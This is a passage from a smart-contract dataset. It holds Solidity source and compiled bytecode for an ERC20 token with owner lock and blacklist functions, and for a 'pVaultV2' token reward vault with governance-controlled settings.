sys.amountToken = 0;
}
sys.lockUntil = unlockDate;
sys.amountToken = sys.amountToken.add(amountLock);
emit LockUntil(account, sys.amountToken, unlockDate);
}
function _wantUnlock(address account) internal virtual {
lockDetail storage sys = _lockInfo[account];
require(account != address(0), "ERC20: Can't lock zero address");
sys.lockUntil = 0;
sys.amountToken = 0;
emit LockUntil(account, 0, 0);
}
function _wantblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == false, "ERC20: Address already in blacklist");
_blacklist[account] = true;
emit PutToBlacklist(account, true);
}
function _wantunblacklist(address account) internal virtual {
require(account != address(0), "ERC20: Can't blacklist zero address");
require(_blacklist[account] == true, "ERC20: Address not blacklisted");
_blacklist[account] = false;
emit PutToBlacklist(account, false);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address funder, address spender, uint256 amount) internal virtual {
require(funder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[funder][spender] = amount;
emit Approval(funder, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106101735760003560e01c8063715018a6116100de578063a457c2d711610097578063b36d691911610071578063b36d691914610510578063dd62ed3e14610536578063df698fc914610564578063f2fde38b1461058a57610173565b8063a457c2d714610492578063a9059cbb146104be578063b129644d146104ea57610173565b8063715018a6146103c75780637238ccdb146103cf57806384d5d9441461040e578063852564ab146104405780638da5cb5b1461046657806395d89b411461048a57610173565b8063313ce56711610130578063313ce567146102d157806339509351146102ef5780633d72d6831461031b578063569abd8d146103475780635e558d221461036f57806370a08231146103a157610173565b806306fdde0314610178578063095ea7b3146101f557806318160ddd1461023557806319f9a20f1461024f57806323b872dd1461027557806324d7806c146102ab575b600080fd5b6101806105b0565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101ba5781810151838201526020016101a2565b50505050905090810190601f1680156101e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102216004803603604081101561020b57600080fd5b506001600160a01b038135169060200135610646565b604080519115158252519081900360200190f35b61023d610663565b60408051918252519081900360200190f35b6102216004803603602081101561026557600080fd5b50356001600160a01b0316610669565b6102216004803603606081101561028b57600080fd5b506001600160a01b038135811691602081013590911690604001356106e5565b610221600480360360208110156102c157600080fd5b50356001600160a01b031661076c565b6102d961078a565b6040805160ff9092168252519081900360200190f35b6102216004803603604081101561030557600080fd5b506001600160a01b038135169060200135610793565b6102216004803603604081101561033157600080fd5b506001600160a01b0381351690602001356107e1565b61036d6004803603602081101561035d57600080fd5b50356001600160a01b031661084a565b005b6102216004803603606081101561038557600080fd5b506001600160a01b038135169060208101359060400135610968565b61023d600480360360208110156103b757600080fd5b50356001600160a01b03166109de565b61036d6109f9565b6103f5600480360360208110156103e557600080fd5b50356001600160a01b0316610aa6565b6040805192835260208301919091528051918290030190f35b6102216004803603606081101561042457600080fd5b506001600160a01b038135169060208101359060400135610aed565b6102216004803603602081101561045657600080fd5b50356001600160a01b0316610b6a565b61046e610bd2565b604080516001600160a01b039092168252519081900360200190f35b610180610be6565b610221600480360360408110156104a857600080fd5b506001600160a01b038135169060200135610c47565b610221600480360360408110156104d457600080fd5b506001600160a01b038135169060200135610caf565b6102216004803603602081101561050057600080fd5b50356001600160a01b0316610cc3565b6102216004803603602081101561052657600080fd5b50356001600160a01b0316610d2b565b61023d6004803603604081101561054c57600080fd5b506001600160a01b0381358116916020013516610d49565b61036d6004803603602081101561057a57600080fd5b50356001600160a01b0316610d74565b61036d600480360360208110156105a057600080fd5b50356001600160a01b0316610ea9565b60068054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b820191906000526020600020905b81548152906001019060200180831161061f57829003601f168201915b5050505050905090565b600061065a610653611013565b8484611017565b50600192915050565b60055490565b600060026000610677611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146106d45760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6106dd82611103565b506001919050565b60006106f28484846111b2565b610762846106fe611013565b61075d85604051806060016040528060288152602001611bcc602891396001600160a01b038a1660009081526004602052604081209061073c611013565b6001600160a01b03168152602081019190915260400160002054919061151d565b611017565b5060019392505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60085460ff1690565b600061065a6107a0611013565b8461075d85600460006107b1611013565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490610fb2565b60006107eb611013565b60085461010090046001600160a01b03908116911614610840576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b61065a83836115b4565b610852611013565b60085461010090046001600160a01b039081169116146108a7576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff16156108ff5760405162461bcd60e51b8152600401808060200182810382526021815260200180611cc66021913960400191505060405180910390fd5b6001600160a01b0381166109445760405162461bcd60e51b8152600401808060200182810382526026815260200180611b4e6026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19166001179055565b600060026000610976611013565b6001600160a01b0316815260208101919091526040016000205460ff1615156001146109d35760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6107628484846116b0565b6001600160a01b031660009081526020819052604090205490565b610a01611013565b60085461010090046001600160a01b03908116911614610a56576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b60085460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360088054610100600160a81b0319169055565b6001600160a01b03811660009081526003602052604081206001810154829190421115610ada576000809250925050610ae8565b805460019091015490925090505b915091565b600060026000610afb611013565b6001600160a01b0316815260208101919091526040016000205460ff161515600114610b585760405162461bcd60e51b8152600401808060200182810382526028815260200180611ba46028913960400191505060405180910390fd5b6109d3610b63611013565b85856111b2565b6000610b74611013565b60085461010090046001600160a01b03908116911614610bc9576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826117f7565b60085461010090046001600160a01b031690565b60078054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561063c5780601f106106115761010080835404028352916020019161063c565b600061065a610c54611013565b8461075d85604051806060016040528060258152602001611ca16025913960046000610c7e611013565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919061151d565b600061065a610cbc611013565b84846111b2565b6000610ccd611013565b60085461010090046001600160a01b03908116911614610d22576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6106dd826118fc565b6001600160a01b031660009081526001602052604090205460ff1690565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b610d7c611013565b60085461010090046001600160a01b03908116911614610dd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526002602052604090205460ff161515600114610e43576040805162461bcd60e51b815260206004820152601d60248201527f4f776e61626c653a2061646472657373206973206e6f742061646d696e000000604482015290519081900360640190fd5b6001600160a01b038116610e885760405162461bcd60e51b8152600401808060200182810382526026815260200180611b286026913960400191505060405180910390fd5b6001600160a01b03166000908152600260205260409020805460ff19169055565b610eb1611013565b60085461010090046001600160a01b03908116911614610f06576040805162461bcd60e51b81526020600482018190526024820152600080516020611bf4833981519152604482015290519081900360640190fd5b6001600160a01b038116610f4b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611a986026913960400191505060405180910390fd5b6008546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600880546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60008282018381101561100c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661105c5760405162461bcd60e51b8152600401808060200182810382526024815260200180611c5a6024913960400191505060405180910390fd5b6001600160a01b0382166110a15760405162461bcd60e51b8152600401808060200182810382526022815260200180611abe6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b03811660008181526003602052604090209061116d576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b60006001820181905580825560405181906001600160a01b038516907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf08685580908390a45050565b6001600160a01b0383166000818152600360205260409020906112065760405162461bcd60e51b8152600401808060200182810382526025815260200180611c356025913960400191505060405180910390fd5b6001600160a01b03831661124b5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a306023913960400191505060405180910390fd5b6001600160a01b03841660009081526001602052604090205460ff16156112b2576040805162461bcd60e51b8152602060048201526016602482015275022a92199181d1039b2b73232b91030b2323932b9b9960551b604482015290519081900360640190fd5b6112bd8484846119e8565b80541561144657806001015442111561136657600060018201819055815560408051606081019091526026808252611319918491611b0260208301396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546113489083610fb2565b6001600160a01b038416600090815260208190526040902055611441565b60006113a98260000154604051806060016040528060228152602001611ae0602291396001600160a01b038816600090815260208190526040902054919061151d565b90506113d083604051806060016040528060268152602001611b026026913983919061151d565b6001600160a01b038616600090815260208190526040902081905582546113f79190610fb2565b6001600160a01b0380871660009081526020819052604080822093909355908616815220546114269084610fb2565b6001600160a01b038516600090815260208190526040902055505b6114cc565b61148382604051806060016040528060268152602001611b02602691396001600160a01b038716600090815260208190526040902054919061151d565b6001600160a01b0380861660009081526020819052604080822093909355908516815220546114b29083610fb2565b6001600160a01b0384166000908152602081905260409020555b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b600081848411156115ac5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611571578181015183820152602001611559565b50505050905090810190601f16801561159e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166115f95760405162461bcd60e51b8152600401808060200182810382526021815260200180611c146021913960400191505060405180910390fd5b611605826000836119e8565b61164281604051806060016040528060228152602001611a76602291396001600160a01b038516600090815260208190526040902054919061151d565b6001600160a01b03831660009081526020819052604090205560055461166890826119ed565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6001600160a01b03831660008181526003602052604090209061171a576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2043616e2774206c6f636b207a65726f20616464726573730000604482015290519081900360640190fd5b80546117269084610fb2565b6001600160a01b038516600090815260208190526040902054101561177c5760405162461bcd60e51b8152600401808060200182810382526030815260200180611b746030913960400191505060405180910390fd5b600081600101541180156117935750806001015442115b156117a45760006001820181905581555b6001810182905580546117b79084610fb2565b8082556040518391906001600160a01b038716907fb0c290412beefc8860665e6cf7c5c66f94b4a25b70735a833d8feddf0868558090600090a450505050565b6001600160a01b03811661183c5760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602081905260409091205460ff161515146118af576040805162461bcd60e51b815260206004820152601e60248201527f45524332303a2041646472657373206e6f7420626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b038116600081815260016020526040808220805460ff19169055519091907f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c2908390a350565b6001600160a01b0381166119415760405162461bcd60e51b8152600401808060200182810382526023815260200180611c7e6023913960400191505060405180910390fd5b6001600160a01b03811660009081526001602052604090205460ff16156119995760405162461bcd60e51b8152600401808060200182810382526023815260200180611a536023913960400191505060405180910390fd5b6001600160a01b0381166000818152600160208190526040808320805460ff191683179055519092917f07469826752a90ffdbc376a4452abbd54a67a2f82da817f44fe95644238cb7c291a350565b505050565b600061100c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151d56fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a204164647265737320616c726561647920696e20626c61636b6c69737445524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206c6f636b20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654f776e61626c653a206f6c642061646d696e20697320746865207a65726f20616464726573734f776e61626c653a206e65772061646d696e20697320746865207a65726f206164647265737345524332303a20596f752063616e2774206c6f636b206d6f7265207468616e206163636f756e742062616c616e6365734f776e61626c653a2063616c6c6572206973206e6f74207468652061646d696e6973747261746f7245524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2043616e277420626c61636b6c697374207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4f776e61626c653a206164647265737320697320616c72656164792061646d696ea2646970667358221220fdb8027cf3f9f9cb3dc89e482fc07cff9fde3a2dbb9b4c425132080f81c71f1864736f6c63430007030033 | {"success": true, "error": null, "results": {}} | 623 |
0xf017e92711c372c1db57e0621bdcfffb6d8c77c2 | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pVaultV2 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct Reward {
uint256 amount;
uint256 timestamp;
uint256 totalDeposit;
}
mapping(address => uint256) public _lastCheckTime;
mapping(address => uint256) public _rewardBalance;
mapping(address => uint256) public _depositBalances;
uint256 public _totalDeposit;
Reward[] public _rewards;
string public _vaultName;
IERC20 public token0;
IERC20 public token1;
address public feeAddress;
address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
external
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
external
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function getReward(address userAddress)
internal
{
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (lastCheckTime > 0 && _rewards.length > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
_rewardBalance[userAddress] = rewardBalance;
_lastCheckTime[msg.sender] = block.timestamp;
}
function deposit(uint256 amount) external {
getReward(msg.sender);
uint256 feeAmount = amount.mul(feePermill).div(1000);
uint256 realAmount = amount.sub(feeAmount);
if (feeAmount > 0) {
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
}
if (realAmount > 0) {
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].add(realAmount);
_totalDeposit = _totalDeposit.add(realAmount);
emit Deposited(msg.sender, realAmount);
}
}
function withdraw(uint256 amount) external {
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
getReward(msg.sender);
if (amount > _depositBalances[msg.sender]) {
amount = _depositBalances[msg.sender];
}
require(amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, amount);
_depositBalances[msg.sender] = _depositBalances[msg.sender].sub(amount);
_totalDeposit = _totalDeposit.sub(amount);
emit Withdrawn(msg.sender, amount);
}
function sendReward(uint256 amount) external {
require(amount > 0, "can't reward 0");
require(_totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), amount);
Reward memory reward;
reward = Reward(amount, block.timestamp, _totalDeposit);
_rewards.push(reward);
emit SentReward(amount);
}
function claimReward(uint256 amount) external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
if (amount > rewardLimit) {
amount = rewardLimit;
}
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(amount);
token1.safeTransfer(msg.sender, amount);
}
function claimRewardAll() external {
getReward(msg.sender);
uint256 rewardLimit = getRewardAmount(msg.sender);
_rewardBalance[msg.sender] = _rewardBalance[msg.sender].sub(rewardLimit);
token1.safeTransfer(msg.sender, rewardLimit);
}
function getRewardAmount(address userAddress) public view returns (uint256) {
uint256 lastCheckTime = _lastCheckTime[userAddress];
uint256 rewardBalance = _rewardBalance[userAddress];
if (_rewards.length > 0) {
if (lastCheckTime > 0) {
for (uint i = _rewards.length - 1; lastCheckTime < _rewards[i].timestamp; i--) {
rewardBalance = rewardBalance.add(_rewards[i].amount.mul(_depositBalances[userAddress]).div(_rewards[i].totalDeposit));
if (i == 0) break;
}
}
for (uint j = _rewards.length - 1; block.timestamp < _rewards[j].timestamp.add(delayDuration); j--) {
uint256 timedAmount = _rewards[j].amount.mul(_depositBalances[userAddress]).div(_rewards[j].totalDeposit);
timedAmount = timedAmount.mul(_rewards[j].timestamp.add(delayDuration).sub(block.timestamp)).div(delayDuration);
rewardBalance = rewardBalance.sub(timedAmount);
if (j == 0) break;
}
}
return rewardBalance;
}
} | 0x608060405234801561001057600080fd5b50600436106101f05760003560e01c8063adc3b31b1161010f578063c6e426bd116100a2578063d86e1ef711610071578063d86e1ef714610579578063e2aa2a851461059c578063e4186aa6146105a4578063fab980b7146105ca576101f0565b8063c6e426bd1461050f578063c78b6dea14610535578063cbeb7ef214610552578063d21220a714610571576101f0565b8063b79ea884116100de578063b79ea884146104b6578063b8f6e841146104dc578063b8f79288146104e4578063c45c4f5814610507576101f0565b8063adc3b31b1461044e578063ae169a5014610474578063b5984a3614610491578063b6b55f2514610499576101f0565b806344264d3d1161018757806385535cc51161015657806385535cc5146103a15780638705fcd4146103c75780638f1e9405146103ed578063ab033ea914610428576101f0565b806344264d3d1461033657806344a040f514610357578063501883011461037d578063637830ca14610399576101f0565b806327b5b6a0116101c357806327b5b6a0146102e35780632e1a7d4d146103095780634127535814610326578063430bf08a1461032e576101f0565b80630dfe1681146101f557806311cc66b21461021957806312d43a51146102c15780631c69ad00146102c9575b600080fd5b6101fd610647565b604080516001600160a01b039092168252519081900360200190f35b6102bf6004803603602081101561022f57600080fd5b81019060208101813564010000000081111561024a57600080fd5b82018360208201111561025c57600080fd5b8035906020019184600183028401116401000000008311171561027e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610656945050505050565b005b6101fd6106bf565b6102d16106d3565b60408051918252519081900360200190f35b6102d1600480360360208110156102f957600080fd5b50356001600160a01b031661074f565b6102bf6004803603602081101561031f57600080fd5b5035610761565b6101fd61096d565b6101fd61097c565b61033e61098b565b6040805163ffffffff9092168252519081900360200190f35b6102d16004803603602081101561036d57600080fd5b50356001600160a01b031661099e565b610385610b41565b604080519115158252519081900360200190f35b6102bf610b4a565b6102bf600480360360208110156103b757600080fd5b50356001600160a01b0316610baa565b6102bf600480360360208110156103dd57600080fd5b50356001600160a01b0316610c1e565b61040a6004803603602081101561040357600080fd5b5035610c92565b60408051938452602084019290925282820152519081900360600190f35b6102bf6004803603602081101561043e57600080fd5b50356001600160a01b0316610cc5565b6102d16004803603602081101561046457600080fd5b50356001600160a01b0316610d3f565b6102bf6004803603602081101561048a57600080fd5b5035610d51565b6102d1610db9565b6102bf600480360360208110156104af57600080fd5b5035610dbf565b6102bf600480360360208110156104cc57600080fd5b50356001600160a01b0316610ec2565b6102d1610f36565b6102bf600480360360208110156104fa57600080fd5b503563ffffffff16610f3c565b6102d1610fb4565b6102bf6004803603602081101561052557600080fd5b50356001600160a01b0316610fff565b6102bf6004803603602081101561054b57600080fd5b5035611073565b6102bf6004803603602081101561056857600080fd5b50351515611214565b6101fd611279565b6102bf6004803603602081101561058f57600080fd5b503563ffffffff16611288565b6102d16112e5565b6102d1600480360360208110156105ba57600080fd5b50356001600160a01b03166112eb565b6105d26112fd565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561060c5781810151838201526020016105f4565b50505050905090810190601f1680156106395780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6006546001600160a01b031681565b600b5461010090046001600160a01b031633146106a8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106bb906005906020840190611975565b5050565b600b5461010090046001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561071e57600080fd5b505afa158015610732573d6000803e3d6000fd5b505050506040513d602081101561074857600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107ac57600080fd5b505afa1580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50511161081f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610869576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108723361138b565b3360009081526002602052604090205481111561089b5750336000908152600260205260409020545b600081116108e3576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6006546108fa906001600160a01b03163383611493565b3360009081526002602052604090205461091490826114e5565b3360009081526002602052604090205560035461093190826114e5565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6008546001600160a01b031681565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610b3a578115610a9257600454600019015b600481815481106109e357fe5b906000526020600020906003020160010154831015610a9057610a7b610a7460048381548110610a0f57fe5b906000526020600020906003020160020154610a6e600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610a5757fe5b600091825260209091206003909102015490611530565b90611589565b83906115cb565b915080610a8757610a90565b600019016109d6565b505b600454600019015b610acd600a5460048381548110610aad57fe5b9060005260206000209060030201600101546115cb90919063ffffffff16565b421015610b38576000610ae660048381548110610a0f57fe5b9050610b15600a54610a6e610b0e42610b08600a5460048981548110610aad57fe5b906114e5565b8490611530565b9050610b2183826114e5565b925081610b2e5750610b38565b5060001901610a9a565b505b9392505050565b600b5460ff1681565b610b533361138b565b6000610b5e3361099e565b33600090815260016020526040902054909150610b7b90826114e5565b33600081815260016020526040902091909155600754610ba7916001600160a01b039091169083611493565b50565b600b5461010090046001600160a01b03163314610bfc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b5461010090046001600160a01b03163314610c70576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610ca257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600b5461010090046001600160a01b03163314610d17576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b80546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60016020526000908152604090205481565b610d5a3361138b565b6000610d653361099e565b905080821115610d73578091505b33600090815260016020526040902054610d8d90836114e5565b336000818152600160205260409020919091556007546106bb916001600160a01b039091169084611493565b600a5481565b610dc83361138b565b600954600090610df2906103e890610a6e90859063ffffffff600160a01b90910481169061153016565b90506000610e0083836114e5565b90508115610e2757600854600654610e27916001600160a01b039182169133911685611625565b8015610ebd57600954600654610e4c916001600160a01b039182169133911684611625565b33600090815260026020526040902054610e6690826115cb565b33600090815260026020526040902055600354610e8390826115cb565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600b5461010090046001600160a01b03163314610f14576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600b5461010090046001600160a01b03163314610f8e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ff